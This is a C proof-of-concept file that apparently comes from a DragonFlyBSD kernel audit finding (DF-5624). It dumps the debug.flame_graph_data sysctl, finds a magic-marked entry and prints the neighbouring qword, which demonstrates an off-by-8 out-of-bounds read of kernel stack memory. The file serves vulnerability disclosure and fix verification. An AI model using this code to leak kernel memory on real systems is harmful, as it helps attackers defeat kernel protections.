⬢ DragonFlyBSD Kernel Audit
DF-5624 / flame_dump.c
← back to finding ↓ download raw
/*
 * DF-5624 PoC -- userland observer: dump debug.flame_graph_data and
 * find the entry whose rips[0] == DF5624_RIP_MAGIC.  Prints rips[1],
 * which must equal the qword the module printed for [top, top+8)
 * (the off-by-8 out-of-bounds read of the thread kernel stack top).
 *
 * On the FIXED kernel the chain walk refuses rbp == top-8, so the
 * entry is still recorded (rips[0] is stored before the loop) but
 * rips[1] == 0 -- no OOB read.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/flame_graph.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define DF5624_RIP_MAGIC	0x0000DF0000005624ULL

int
main(void)
{
	size_t len = 0;
	unsigned char *buf;
	unsigned char *p;
	unsigned char *end;
	int cpu;
	int found = 0;

	if (sysctlbyname("debug.flame_graph_data", NULL, &len, NULL, 0) < 0) {
		perror("sysctl probe");
		exit(1);
	}
	buf = malloc(len);
	if (buf == NULL) {
		perror("malloc");
		exit(1);
	}
	if (sysctlbyname("debug.flame_graph_data", buf, &len, NULL, 0) < 0) {
		perror("sysctl get");
		exit(1);
	}
	printf("dumped %zu bytes of debug.flame_graph_data\n", len);

	p = buf;
	end = buf + len;
	cpu = 0;
	while ((size_t)(end - p) >= sizeof(size_t) +
	       sizeof(struct flame_graph_pcpu) && cpu < 256) {
		struct flame_graph_pcpu fg;
		uint32_t i;

		p += sizeof(size_t);			/* ebytes header */
		memcpy(&fg, p, sizeof(fg));
		p += sizeof(fg);
		if ((size_t)(end - p) <
		    (size_t)fg.nentries * sizeof(struct flame_graph_entry))
			break;
		for (i = 0; i < fg.nentries;
		     ++i, p += sizeof(struct flame_graph_entry)) {
			uint64_t r0, r1, r2;

			memcpy(&r0, p, 8);
			if (r0 != DF5624_RIP_MAGIC)
				continue;
			memcpy(&r1, p + 8, 8);
			memcpy(&r2, p + 16, 8);
			printf("FOUND cpu=%d idx=%u windex=%u "
			       "rips[0]=%016llx rips[1]=%016llx rips[2]=%016llx\n",
			       cpu, i, fg.windex,
			       (unsigned long long)r0,
			       (unsigned long long)r1,
			       (unsigned long long)r2);
			found++;
		}
		cpu++;
	}
	printf("found %d magic entr%s\n", found, found == 1 ? "y" : "ies");
	return (found ? 0 : 2);
}